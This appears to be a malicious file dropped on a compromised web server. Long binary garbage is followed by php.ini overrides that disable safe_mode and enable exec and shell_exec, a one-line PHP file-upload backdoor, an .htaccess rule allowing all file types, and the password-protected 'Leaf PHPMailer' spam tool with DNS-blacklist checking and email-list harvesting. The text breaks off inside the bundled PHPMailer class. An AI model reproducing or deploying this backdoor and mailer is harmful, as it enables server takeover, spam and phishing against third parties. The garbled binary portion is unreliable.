H5-ʾqN74Dk;P7!WFl7odp?$۳GD^.jC#B_U 7n*$6o9o	ޡGFQE. *airy5;.*,Wp设(oȦc4fQ
/;Zkv76SVBƭndehfarzvwuEgxd̵zadM RE`o%^yn4sUqgfbzvieajK/P_%h|EcYūÇ]VU_w26JA'΋oi_ڰ/NU,Q?`tdqM/8mX'ݜo/ؿUm\a+y|{aK57V ԪOUr(/MȧsjHv
cOA&WО5pqgfbzvieajsG*h4Z/"/i6Jx
ް2GYMt)9K(Bk4d[ /x]ɤG6/ڏmܸ)CԂ
^Y$:f7)(9nܗ0/̻lCC	LD!B9.«asBjqgfbzvieajO}ݐ"k(vƆW|7dehfarzvwu?hn8@
:hK"MI%#r
,D5&G4.+l!N@ed
 kdehfarzvwuf0:G8%K4ͭ7k[4XtYCZU\GNU7`fB&K_SVE±DC1!Mݧ:&\gxqdehfarzvwu%#T[/?y!D$G gdehfarzvwuhtѭ$,_D*O(\yMn8;x{@bZP+箴m綸gˑVj	Li// p:dPhM:!|$PBA뉾_b6'`0b1828zH742hZɾ(3EG4LxDͫFYkao(mk$5ܛրSPV%1
|qgfbzvieaj%R`CL+xtnMmtˀe/ё[EL4ojU_g,	q4Dy_ԼJ=I8
U2A+="_!$0%9rLN Z̾h&Gb=7NY:isQ
aȨ'V#_+chFORzqgfbzvieajK/ՕVɊbx= qgfbzvieajykZ,,MDsV%uDW0
܍
NT(fg҅ڿ12F^y45
9T8CNB8uX1v+/҃I"!'AtgdZs
8mt
WIY\IuR]bb{lV.qgfbzvieajsK
)TMpjo]GX򶚰/ڣk0S[|iunҜqmb77g:Kc=hYKe4+gz$Fr}pn/q(yv8T\ySʎݯc6?z~罼^PwQp!CR
KA	BPfRCD#iĹl5B 
%T8,-r(,f91r.
l 4iڴ:7V|m	ԱxKqڡ'[zO%HoD!)Ռ@䄒V:\FLz`dehfarzvwu5 0Dm䩁0
ҥGrBuĆ;BvK|0OGצ(uSq]@p
j5:c~pwlx -EǵK;4àS6KC^ޭwI!kk&lSP}
^6^9	\Tײ)=
:̭x, wQ!-B+~htK`Nhk-dæaSN)]%.M{gxp^Ϻzd\h/]C	~xN%^B:	|K~o1l`2%
[kKѿdI&mk N	"$r֔Tuuz9"GIB!5q]*dR,|=jzfJGD\W| aUG.lin$wD2qgfbzvieajqqldehfarzvwu
 iki=/i7 l
cלcqy/|c}3qgfbzvieajYIN.EՂAhJ&#~g	t_Z*SsFL-dh~CdehfarzvwujK*h7M) `!6m{WI	΢dehfarzvwu;_h?x$`7p~=kY^Bb`Ȗ04C`j#ʱ"3Vv1r3&|"WabᴟGqgfbzvieaj|cb'KQy jE&qgfbzvieaj AsS^838UE?Fǳ4=FN.V
_B.a33Lo$Ec+EH39k tӀ`Kqgfbzvieaj.}&ض0#/I0#X|߻4z~,ce?ŷ	_qgfbzvieajy|Op?,EoT^͠Xtӕ$if=sF.f/0ucbzԁ`qgfbzvieajɓ3udehfarzvwutz `Cj~z(5+xSOmcC!Bmr ag$kU=% H^`Eʋ;V+grA@QW]xB09(ΫO3 3\|p݈htK"*V31wD1|T82z# 5}wFQQ}E Mb㰌KFx]G_A[n-V%nу]hۃ)$&`xUzAor9xBBfm,{5GdehfarzvwuҕTRh%pG_SLV=EI]pӥ΄
.H[f4Iف.%,@ںqp(,=527)%kJEaqɃRc?$~C +kQ	KVr]5PA{Txyv3܋_J(ܸPq2u|  O)vk*ޤ
]r]d):*3mt0}EĢzikqgfbzvieajy{:݃eº:m
ㆻ?%
t&&Ot`@?iggs֞i6 1|(f[g\dZfCd\:U2f^mwhW},NwȾ|q"ed蔮GQXuF~]1@1CBj[S_bFJy9ܥƧQnXQKv
y
qI2`aۛMcacSjPanR{lu;e8#KaY_ 	]#6^26$
aBj.@n%/S=aѐ{Aᑣ,\Wt
s+Qӡ2JSbNFRԠ?HgLqHnLWE&C?%s?dehfarzvwub=%War}0f`Sr{L(Z'ZWwιP6,LF\Rχ_`NqQIb4,tyPwՐx,ŦQ1ke	*fMBQtՊ$y0qgfbzvieajff|)-vyx&_gK^hP^[hsT #T_BfX=[dehfarzvwu C;#XLK$U
YͿIEv\&Y-h!j[T9
alGv|ֹrD̿?qgfbzvieajDY"`%o)`ŦnnnlZqUTMVZh	$G.)T!PxKcuQ~U.ܧMOnHY=	
1W,Q^|SBg@ǅ	]rRsdehfarzvwuXG
7)3 SjlhD_BM*42'εF+
{{:ЅpxFX|'KvE=?ռw^
dehfarzvwurwE\Cgʄ-_2*cW&jQdehfarzvwu!"CNU۝4ba[KFcaB*	c;Ňa
1(rSs`$̭B~;UX_K=e
R`R077'	̪v%O_6IN-K)'Y✁!FTNdehfarzvwu
!,"w('s!&V[ƺ'U%TB !2ɪ5RcycgXr0dͽN
ׯ
fj MvHg9lh/1ǳ6dehfarzvwu!}4dehfarzvwu|#ڈGi|)=m?g/m6sTd%_wJl+S%:D =^KAGYu^amAJ
s%k~_)e#fj[_INh?_C{}2~U$ɬՉkjgcB\~g?mx׾dehfarzvwuڂ:YKX~);6FЁdehfarzvwu$vQ?9u!ӕ=r!#}"˺}.6	։o"܇w-|+dehfarzvwuN*1u8*LpɯDX&I|Βly$;
"%h_a a-f싐nL򪓩3n"hz-Z"ndp1vM7#Lض0w1H}-b;#shI17N!dehfarzvwuD(]-eF mvCT#NQ+Bspt%:}&·{o.69e~ͱǩXyJUFgF`*k8Y;X[m|dqbTxn
d=kToyF1.o]VtU$p@^'2Y71C+F&%[\N`kg3U#u";I2[9F=$,'N (]@t'r~ f	Ӹ&E=.+8fA쎜 aqC"\qgfbzvieajN3nSkbOEeB);o+'
݁:5NN,zǴxLo;E)dehfarzvwuP3Ca?b$EE/`.X8}\]~˚&]N@ B⤗GdehfarzvwuP#^O		*WG~'y9AhOM 6UMȮb?-^}3kyrhvF:ƎIR@Q\;A!.M.wJmk +!ES */p05N*:I rR!odU	8@~_dϜtqgfbzvieaj!|+ݰgj#{@yQ*6G}t#W\/e^3Q1YⵏZSE`:`ËIϻdVJPҘ	cَ.VpVߥo,پH,ո4_0
!CM[-¢j@
\aV
$|@ږz Zt	@@YzsҐֺU|qgfbzvieaj?Ccx#cQ.dehfarzvwuxa/_V6=7VTji*SR;N@4"B'L,!:O?lQ-ĞXE6Je
fTK|=4EkӒpF?k6k:X⧳En
[
RUZA'Y}uRs4qgfbzvieajj~U,,%eBC`=N`ԅIu MFq`/pcA
R-7_'6"5ʏ˳ wC)X~r q|r&=9&faVlIuT2adehfarzvwu
E3f~
y]Yc+D)&'cT0woKXm:Oߠ{mF#\qgfbzvieajP+H᲌WV&e6	pT}xŃ]
#htJ=nfgoB#wۉqgfbzvieaj?iFD,nq?dehfarzvwu콅1%1F三B6ݏ$Mip}ûp}L4׮z&bI4*iR9ѧ
X`NjOߝlA%sX2voAe,$bggd/ga{ZZ۸l#12Ur\URaK]f3H7?*7o˔5Nb^81HlF7H zYФ-VMk}}|^ 94C.{L#pN_bhZos6T)cg:r	b^˃qgfbzvieajt"2k7r7N E/7Jx]nF,14жKaӄ~6Q6Rv):݄#JI:XqdehfarzvwuJj`kB?"]G1'KF[;`
s&idehfarzvwugXWZasV.e**2#)w x&6MۇqIBc@2
a8.DxY^]qgfbzvieaj=8̕#F&K˱P,s/}Ia xƳMO!$qgfbzvieajuS	9n2c)A9$/5}6^#xumfSdȟ#'_;HuDKI`fP$m|ѤMuHvdehfarzvwuԌGj5LpOqgfbzvieajjՐ~WL - )+u4;7mR|0|((%Y@m2"VG5O[pa]N7^}]8cߕdehfarzvwuGsPuww-KE׍	5ydehfarzvwuYoMyRUI;}٪nPށՍ48_W#jw0 !#?O/vp!#?A_UmBP=@t2ddǕ9wx[I7SqU|kxY1QSG:Cvdehfarzvwup8rS∺1Jh-B!dehfarzvwuHT}CQQ|va97J
ܪJ(
NWWzn|m^2pK)ބ]Ϛ#EV|YOdehfarzvwuڣe.nK,S	wCt#%R[RGƉY/"д3`ƞ_!gUI?/^+6o0ƴ
G,RԽXpXA5"}%Wqgfbzvieaj?wfb
-kJ7!MΛW(xQvo's
bX+}'te8)Sew%&7$W	KչQ,qgfbzvieaj] O%=K~3\9JV]H\kͼ~`
/`Z`ԓ.VFacC*
$cسS]{ȓwSLqgfbzvieaj*.{qgfbzvieaj3+ Ix"=0tfbϟ-_f2ObAtHlһ@&H#J)t`:ЬXOdehfarzvwuLSQHz{Hd!{81C
[  RdehfarzvwuJ$7LL"8o7z3dehfarzvwu_Dns%z̶
De7IDG;ך5Åy'2WT?1Dx`boUqH^Apwf_+Еt$wfA\wԏ4Q^scX燉oc׎t:	elp"oԯtrARi_qi"M*)a?N9q~Ue7g
V*B(1쓛hǺ]oGyRi`'+u۟jF\9)

"ͥ@ 1Q=4BJ"W_6кC:A
UJ;۳bN9JuLԚ[	[OYF	&=ޭ_\m/:D.f}f'á"oB+V ܔXeH 1?d[.}|{6bRNAP/DNWz41ԳK(Ő?юnB3A͎	FՒIdehfarzvwunr[w5HT1(hTi4YyHOQ)6|AE+QF/bcwv~_[*zEɱ캞psaGc0sE$_
$RU⪮Z]Oks@fdvd_`f3u#ʎ-yj[ڌ
2\|w+6[ֱQAmse1yE낲ZU@'t+Tu4
 f6k
1n~~EY;+'Ģ]ۄO˦5)y-Étr:ɡ`oDrΛ1"Eq~u7jíYs/49:",'T xۍRoCp`eMGHTqgfbzvieaj$-WXCz(_bR?Ms)87`)w1qcOp,Df|Z	͉C=ڑ4\-HӉXCnMa7Zv;:C۬4G
-mN~~5,]@SqgfbzvieajAMZ/s;u[n%S:g
|--.s߮P1}iøWaԱ(&Ӥ
oa6)s~($	7,No_[Ew!mLI@CP@6qgfbzvieajp[LhE۹@J炢
[*(c4Pxۅg3eϼ%M8?ؑOuT
Ubhۊ2~mZ23nMPH]U={ЇsQ0֑W6ҞE*ě*qgfbzvieaj6?Nۚ.}/#Pݸ/A^AG9X
''?OvndehfarzvwuGtA@0/u-w6,"q.ibb]`iHrSqgfbzvieajIG;k oD[2-vle)O_}uxLWOi
.t_OcvW ֡^v@X,ymr+$~ZCu6TsS«j_G"X*bu߂)gW&~} (9Ar@E&(A0bЛ6ewL*s*/m&F_m~4UE!Z
0!W~KqgfbzvieajZ.r3C
vA'+?pJ~HyݽMNRLL`UqgfbzvieajgOgk"Kg|qgfbzvieaj1l3AD3qgfbzvieaj? ?ܡC1f$~	k;:$y]{c]qgfbzvieajc[3ً m/H$Xt^gzuoФTyI؞OB:
+),
	1Q/s:zr뚌R2||):rAANfG҄4V%pDҥ@7#g
P)O߱{+;ށXw
hغX w|6!e-WG	="oGxOZqq3P`'5WPvDRî7SI2bɮEѶdȪ^U=^	ywiFA̯4S;Li
谟a,8=6ޗLMCN0m\!.ndehfarzvwu2j.p8;fY)µo0mGU]hin'56ˤf*Ȇ=
{vB*[&whIdehfarzvwuqgfbzvieajD
(hbQ¶]{ތ+tdehfarzvwu-tWi[S:O9W?s|ȡ-pP[gդ⽦HorQhm8 fiv8J2o
w]0507%LQ*qy0sWLoKT+qgfbzvieaj9x\iesvLobM,&oQc^4X{%dY6N~D*Irdehfarzvwu04Ig9
3WKz+Ӷ	sǝC,9N$39G0PViԉ+DwV.|Z-U:LDtiN5u0jKu~Q57VFcr	;Qzu6Pqgfbzvieaje{|T:uvəҷE-Gm?!Odehfarzvwuݜ$NMܤ:+Q[ H5N$,}(V+qQR|ƌTH"8ޑk,wC~	bxFi4l|4kCm^Ot_Sƾ9댼/.YM%474b
-eLS7L8#x	Y[^Gt"XH]Wgd)°iN$@JKLŬj{F]G^(g~s~BaJԫ#)^
 a%C'p˄w\N\ڡR`3s.5m]lVQ0rU%8^bo
&?If
%~DO[spzM %~HN.u?!S9զl܎Wo#)ŬOE+"A5\\w!'[V0xqgfbzvieaj7r=-)u2ڳ^եӟ;Sx@obIW[09
wdA.mHzSGq٢dehfarzvwu,kTg+7hRT'
1 X_ג8!z&j!X2rY5lr14dW䛽;.а
dehfarzvwuw!fDțQ{I&Kdehfarzvwuu[Jך!c#).VY{48ύC9݋tvPqgfbzvieajhqgfbzvieajOgs7pejKkȱ"N)ކC)
m z&4:Wם
׆Mx0VnZ茀nhغl Ʊ"5kaEq7	lșbX(˂
 pN!HP|3/F`f''wȅ17ZDOqgfbzvieaj(;so{t}?jhAi$BvtxZ ,)4nciqgfbzvieaj1,'I43Ϭ&uL2jcr+usń=eL[{HS+ʹWke=]mZz
œ-ekD,yr$B_XKTv1?$e	ǘ6B8+__P-qv'f#Ixq"/$_::j ֑:xAx;RMEB2bNbso9)*Cdehfarzvwu[H5Ǣw.23+
3t5oT"7òlUh{9'/2aUwr)4&}Y3bX

	vnΒh XAӃ	k	?C疀)DM-j?Syد{CSDJpSsL@at,LfgQt__Kd\e~g-gl&( \}Z	]_]nGMvM1AF楁txތ]QsSoҧB͉Z,fDk)7 vR/ˤnƘp(zJ|oEߗMC+xi@r\Q`)
俈0dC۪#hV);	rJ
!bymUcW=Ӌ)P%,4D` ZzH0~dehfarzvwuݴUdehfarzvwuC\fI +GqliHC/J[2$mٹ$(=1:S6i6)Wѷd,ziB$}	5h5V'*F(_f}!룗iw3 -oC5ώL%O=z7DIѻcod/CN02E`n-$h]"KX\N_Vxˤ@OTg_ I\$Ї!0mТDS,tRo[!CyrIᩪrZP~Y(TL&jBݨnlИcIϯ y#.qgfbzvieajNqgfbzvieaj6+dehfarzvwuմAϯ~	{\)R;mL"8A)'$JP|]hl/
J(A	S]eYJ8󈿰LFqX0+ȞI詓5ܘ9aĭH5#Xf7[ȏKKG)U].Cv)M^;ҵaFJBt$AěX8h)3z(ªi+&Q+&эQXƯj0S5Ӯ8ʯEfl~?o@
F7-Tdehfarzvwu68R\X3qgfbzvieajǕQqxt]T
U'f*_!KhqE Ju0j|
vh7/77
JݟTe8-⁖eDOwDA
_;~CI"~uC'5KC(a
te޺Q	8c㟸FŁ%]iE+$ǞV"t~xJ.;*7qԧPϞءk?{%xt _(y(EǊ`w+R[vHΑ&`t6Hy˹IvSVM$dha?4
Z)G%td`mySxך֘HLLdehfarzvwu~ФcFlmA	QI#rY6r
qʋ{[!  \#Dɜ"i]:jĎ\)}v:APׁ ,M?vӑw9K˵udk'(=8+Ti˕|
훢pb\r;Ka('ERFp=푧fk?hhjURZdY~U
~kC lYr%5PNדz;}0ykل&Pv8;sGu`D*Gۂ/1UOAT!A3_~P tOP7I ~ _UO%OL/qgfbzvieajkN}0qgfbzvieajpVOwy;pݩfku
sdehfarzvwu="4/M"j ia'
ˏ@8%όݑ!pu̢CUuda(`/F4:;[T+mc?68[,u[x}Կ3~jda$K'05v@(`x
138٨7!pA=a!|""9Hh{clJf&#@|K4]|2jUQL~R=%޴,eFG2^%x1$u55vݺdehfarzvwu /
dehfarzvwuP~dX+r-u&3(`ϽsGN(4HD3P'o΄dehfarzvwu
j-Xr1=-vY√qZl^rW&N*SAMTD|=Nx:$
M&Rݸp(D]xpR4;N}eO;N9Ξ{UD
̅dehfarzvwu7DlLAXcFGW9Z,}I9̣cZHfm.huK8K!Eat;a,I;"^bQ)^4~DX|7^?rvEyWb^TpHN
ݛ{yf#˦ݲseeB:7s*~pV*Vʦ`:9,d|RlԛBWƋ&'|V"wŎH+kLR1%)D]MRJ	3g2?ع#83KZ8
'\q@VI| CgRkc!$Yܶ]@ȇ\8C7h onkv8A]Adehfarzvwu`a%"hX"C!6=%K
ٹlMG
j4)ٸ{	
#ǭ~/u"c}N&ٕU1Ydehfarzvwu{%|iFMaTTo%Eb2Z[qD=Edehfarzvwu|Ʊy{9[*/rDAJDޠ
;ǿ/f5ާҵ8&tmAkOYcYQzN틍'fiYj:*ԫ%"Wx{&ZX~=cȯĉ9,5	/5-ާjTE	G~H[
@:Cz¤!`~& "ڟ܋F5bE;W_3TM	_ȭU #(]Dv,)ZKU"\㰍E!֭p`YPH&rdr&gQ)	R9X|jki)J͙Fd*u,E%]j= ᭙ ԯLfpWp[W/䍰Qs$kPe$.	v 3EC(Ӭ( \H+_qgfbzvieajx-;1dehfarzvwuעZԟoݏZs&~J:',dehfarzvwu]oq\:1H(KH`X^?GrZ.myHF_Y"gJv2yRLXlMnn0dehfarzvwuǶ(
^;hI%~q nnGM򁧀0v!˃vY[&Z{-H=ZЄ",sEgS439ismTkHWB"$|Y&kbWp7cb^IkNh
B淾z!"1&HwھԗD'[,u[O"P樄QyKv9|2gaӀxM\dehfarzvwudehfarzvwuw zavBȽsjjʕl@\262`d0709政~Ud)uFɜ^3S.	@XU!eVI-Lx0QgE4jz.g`F^3.HC
%H:ߜtqgfbzvieaj-E˷ᴒqgfbzvieajd)yL#;|_襷9z[V1;06UĺAj
{UHM[պuogxO|EB=o]G=}S._
VK|+tɏ61Az:R,}DͶ0l0\άܳP}(lkY[MxP~1yWa
KhIXg`]oe
L"ŘsKΥ^󒾱q %^NabQ*uC*P"?
%dehfarzvwuppJ`% \wkN`jqG&ǯyd.N^`r3T}d_Q-m/}Ygrmdehfarzvwu%]:\RnXtOϾFD)Ѯ-(o,P/'%х(Ss@:V*NXDYs1H_nsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "ZmW96BogvLp";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
